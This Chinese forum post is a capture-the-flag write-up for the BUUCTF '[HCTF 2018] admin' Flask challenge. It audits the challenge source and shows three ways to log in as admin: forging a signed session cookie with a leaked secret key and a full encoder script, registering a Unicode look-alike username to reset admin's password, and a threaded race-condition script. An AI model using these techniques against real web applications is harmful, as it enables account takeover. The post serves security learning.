找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 173|回复: 0

BUUCTF靶场21 -- [HCTF 2018]admin

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-9-4 19:48:54 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
BUUCTF靶场21 -- [HCTF 2018]admin

简单测试一圈下来,发现有login、register功能,随便注册一个账号然后登录,发现登录上去后有post、change password、logout功能。

然后在index页面源码发现提示,you are not admin,估计题目是让我们登录成admin,然后出flag,于是想到change password功能,可能可以通过改密码功能的漏洞改掉admin密码,然后以admin登录。


于是跳到change password页面,看看有没有进一步的发现,也是在网页源代码处发现了提示,这个提示直接把网站项目的github地址给了出来。
于是顺藤摸瓜,去github上找一下网站源码,然后进行代码审计。github地址:https://github.com/woadsl1234/hctf_flask

看看网上说的有三种做法, 就跟着做下吧,学习一下。大佬博客 ,注册了一个账号之后,用注册的账号登录后就发现 change 的源码处给出了一个github地址,访问一下看看是啥,看大佬说的是 flask session 伪造。
[HTML] 纯文本查看 复制代码
<!-- [url=https://github.com/woadsl1234/hctf_flask/]https://github.com/woadsl1234/hctf_flask/[/url] -->


正确的打开方式:总的来说就是欺骗服务器,假装自己是admin

buu限制发包量, 这里我就不尝试解法3了
[HTML] 纯文本查看 复制代码
          <a class="item" href="/login">login</a>
          <a class="item" href="/register">register</a>
<!-- you are not admin -->



解法一:flask session伪造
在"change password"页面发现了提示
1.png

是一个flask项目,那就直接先奔路由去看一下,打开route.py,看一下index的注册函数代码
[Python] 纯文本查看 复制代码
@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')
发现index注册函数没做什么处理,直接返回index.html渲染模版,于是我们看一下templates/index.html代码

[Python] 纯文本查看 复制代码
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}
发现真的是要登录成admin才能得到flag。于是继续看向route.py文件,看看login和change password的注册函数处理代码是怎么写的。route.py部分函数代码如下
[Python] 纯文本查看 复制代码
@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)
接下来就进入代码审计,出flag环节了,下面就把三种解法分别讲下。
解法一 —— flask session 伪造flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
具体参考:https://www.leavesongs.com/PENETRATION/client-session-security.html



我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY,在github源码里找找,可以在config.py里发现下面代码
[Python] 纯文本查看 复制代码
import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

估计ckj123就是SECRET_KEY,所以session伪造这条路可行,于是到github上面找找看有没有flask session加密的脚本。
10.png

把脚本down下来,然后执行,脚本代码如下。flask_session_manager.py

[Python] 纯文本查看 复制代码
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

脚本有解密、加密两种功能,具体用法如下
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
解密功能演示如下,把我们登录成功页面的cookie的session复制下来,.eJw9kE-LwjAUxL_K8s4e0j_iInjYJVoqvISWtJJciltrmzRxoSp1K373zbrgbWDe-zEzd6iOQ3PuYHkZrs0MKn2A5R3evmAJiuZOmvWIorPosoiJUiMtezmlN2aYlVNBGE3nXKQToxlhpiAqKX7QbA2ag5GiM5y2AROSYIgB2xU3KbJIOtVh8qeLkdE6lqKeM7HVuFvHXFj_s_b83Miw1Mp01t8RpG0kd9nE6UZzWoQYMp9l2ythnRTpCh4zqM_Dsbp8983pVYFTjDHMPQZHaTZGJcrrT4eiHeXUEjS9r9WHPCktTm3g40bsY_XEabdvmxcpNxgfxn_ntHfeAKeHfW2bxeIdZnA9N8NzPAgIPH4BSzZuKg.XPPM0g.R-SQaZ-c92TXQB_37gFu8JabVUs,然后放进脚本参数位置,如下图。

11.png
得到解密后的session格式如下
{'_fresh': True, '_id': b'd4fb1018e2d755b05dc2163ec54429923444654de222c27ca8c8855643c55e1a47bfa0e1a50478a7952b1a899c81164ccebf8ea54087ad381b8563cb02de9fa2', 'csrf_token': b'8383dbf30b1cdfbf0f180c842975968ee3858874', 'image': b'F38w', 'name': 'miracle778', 'user_id': '10'}
把其中的name项的值改为admin后,再作为-t的参数进行session加密,如下图

12.png

得到签名后的admin session
.eJw9kE-LwjAQxb_KMmcP6R8vgoddoqXCJLSkleQiamubaeNCVepW_O6bdcHbgzfz4733gN1pqC8tLK7DrZ7BzlaweMDHARZgeO40rUZUbY8ui4QqLfKy01N6FyR6PRVM8HQuVToJnjFBBTNJ8YO0IaSKtGpJ8iYQSjMMMRDb4q5VFmlnWkz-dDEKfoy1Os6F2ljcrmKpev-z8vycdFhaQ23v7xjyJtLbbJJ8bSUvQgyFz7LpjOqdVukSnjM4XobT7vrd1ed3BckxxjD3GBw1rckkxusvh6oZ9dQwpM7X6kKZlD1OTeDjRuJz-cJZt2_qNyknjKvx3znvnTdgXzl7hhncLvXw2g0CBs9fJX1ssA.XPPSPQ.UZ-MG3ZUrN4nJzOXIsfjGdeiyLc
用这个替换掉index页面的cookie值,即可成功伪造session,"变成admin",得到flag

关于这个脚本,其实在运行的时候,我发现了点问题,就是当你解密的时候,要用到 -s -c两个参数,linux下,可以用'或"包围,而windows下只能用",否则会报错。然后加密的话,windows能够生成加密后的session,但是用它来替换掉index页面的session的话不起作用(亲测),一开始我在windows下面试的,结果一致出不来flag,后面突然想到用linux试一下,才发现这个问题(2333)。然后每次加密生成的session是不一样的,猜测应该是里面加入了时间戳信息。
然后其实加密的时候 -t参数没必要写这么长,我们可以看到index.html里代码是,只要session['name']==admin即可,所以我们可以用
python flask_session_manager.py encode -s 'ckj123' -t "{'name':'admin','user_id':'10'}"
生成session,eyJfZnJlc2giOmZhbHNlLCJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoiMTAifQ.XPPVVw.PEoVwVpFka6CBxToJEUY2s7ydLE
也能得到flag。





https://github.com/woadsl1234/hctf_flask/blob/master/app/routes.py
[Python] 纯文本查看 复制代码
#!/usr/bin/env python
# -*- coding:utf-8 -*-
 
from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code
 
@app.route('/code')
def get_code():
    image, code = get_verify_code()
    # 图片以二进制形式写入
    buf = BytesIO()
    image.save(buf, 'jpeg')
    buf_str = buf.getvalue()
    # 把buf_str作为response返回前端,并设置首部字段
    response = make_response(buf_str)
    response.headers['Content-Type'] = 'image/gif'
    # 将验证码字符串储存在session中
    session['image'] = code
    return response
 
@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')
 
@app.route('/register', methods = ['GET', 'POST'])
def register():
 
    if current_user.is_authenticated:
        return redirect(url_for('index'))
 
    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)
 
@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))
 
    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)
 
@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')
 
@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)
 
@app.route('/edit', methods = ['GET', 'POST'])
def edit():
    if request.method == 'POST':
         
        flash('post successful')
        return redirect(url_for('index'))
    return render_template('edit.html', title = 'edit')
 
@app.errorhandler(404)
def page_not_found(error):
    title = unicode(error)
    message = error.description
    return render_template('errors.html', title=title, message=message)
 
def strlower(username):
    username = nodeprep.prepare(username)
return username

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。假设现在我们有一串 session 值为: eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY ,那么我们可以通过如下代码对其进行解密:

[Python] 纯文本查看 复制代码
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')


[Python] 纯文本查看 复制代码
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
print("data=",data," ; timestamp = ",timestamp," ; secret = ",secret)
print(base64_decode(data))
print(base64_decode(timestamp))
print(int.from_bytes(base64_decode(timestamp),byteorder='big'))
print(int.from_bytes(base64_decode(secret),byteorder='big'))


2.png

int.from_bytes函数    功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。    函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。            bytes是输入的变量;        base64_decode(timestamp)=b'\\\r\xda\xe0'            signed=True表示需要考虑符号位。    举例说明:int_s  = int.from_bytes(s, byteorder='little', signed=True),其中s='\xf1\xff',则输出int_s=-15。            分析一下过程,'\x'表示十六进制数,先把'f1'写成二进制数:1111 0001,'ff'同上:1111 1111.     #小端法            由于s的高低位标志是'little',即'f1'是低位,'ff'是高位,所以正确的顺序应该是'fff1',即11111111 1111 0001.            又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。              上面的例子中,如果signed=False,则无符号位;            若byteorder='big',则输入s的左边是高位,右边是低位。     #大端法


[Python] 纯文本查看 复制代码
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

这里我用的是python2的环境,kali自带的py2貌似默认安装了flask ,而自己安装py3的flask一直装不上Orz


[Python] 纯文本查看 复制代码
python hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqyc

3.png

4.png

5.png

[Python] 纯文本查看 复制代码
https://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyi
mport os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True



解法二 —— Unicode欺骗
https://unicode-table.com/en/1D2E/ ,在这个网站上找字符。
6.png
这个解法好像才是这个题目想要考查的点,我们可以发现,不管是login、register还是change页面,只要是关于session['name']的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower,这里重写了一个,可能有点猫腻,于是找到strlower函数的定义
[Python] 纯文本查看 复制代码
def strlower(username):
    username = nodeprep.prepare(username)
    return username

这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2),版本差距这么大,估计是存在什么漏洞,于是搜索一下nodeprep.prepare,找到一篇unicode安全的文章,https://paper.tuisec.win/detail/a9ad1440249d95b
这里原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。


1.先注册一个账号 :ᴬᴰᴹᴵᴺ,密码:456
7.png


2.修改密码:111,然后退出
8.png

3.用账号”admin“,密码:111成功登录



大致的思路是:在注册的时候  ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,而且在index.html中可以看到只要session['name']=='admin',也就是只要用户名是’admin‘就可成功登录了)

解法三 —— 条件竞争
仔细观察源码,可以发现login函数和change函数都在没有完全check身份的情况下,执行了session有关的赋值
13.png
我们可以这样设想,一个进程以正常账号一直依次进行登录、改密码操作,另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时,进程2进行到登录操作,这个时候进程1需要从session中取出name,而进程2此时把session['name']改成了admin。
所以就可以编写脚本进行条件竞争,条件竞争结束的标志为进程2登录操作成功,即重定向到/index。
不过没有跑出来,可能是买的学生机性能不行,脚本跑的时候抛出拒绝连接、连接失败等异常。没跑出来,但是思路应该是正确的。下面就把代码贴下吧,这个代码也是参考来了,就那几步,可能代码也不行,导致没跑出来。



[Python] 纯文本查看 复制代码
import threading
import requests
import time

def login(s,username,password):
    data = {
        'username':username,
        'password':password,
        'submit':''
    }
    r  = s.post('http://13x.xx7.xx.xxx:9999/login',data=data)
    return r

def logout(s):
    s.get('http://13x.xx7.xx.xxx:9999/logout')

def change_pwd(s,newpass):
    data = {
        'newpassword':newpass
    }
    s.post('http://13x.xx7.xx.xxx:9999/change',data=data)

def func1(s):
    try:
        login(s,'Miracle778','Miracle778')
        change_pwd(s,'Miracle778')
    except Exception:
        pass

def func2(s):
    try:
        logout(s)
        r = login(s,'admin','Miracle778')
        if '<a href="/index">/index</a>' in r.text:
            print(r.text)
            exit(0)
    except Exception:
        pass

for i in range(10000):
    print(i)
    s = requests.Session()
    t1 = threading.Thread(target=func1,args=(s,))
    t2 = threading.Thread(target=func2,args=(s,))
    t2.start()
    t1.start()


小结
这道题三种解法,学到东西挺多的,以后要多多复现经典题目2333~



参考:
Python Web之flask session&格式化字符串漏洞:https://xz.aliyun.com/t/3569#toc-0
HCTF2018-admin:https://www.jianshu.com/p/f92311564ad0
一题三解2018HCTF&admin:https://www.anquanke.com/post/id/164086


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 05:25

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表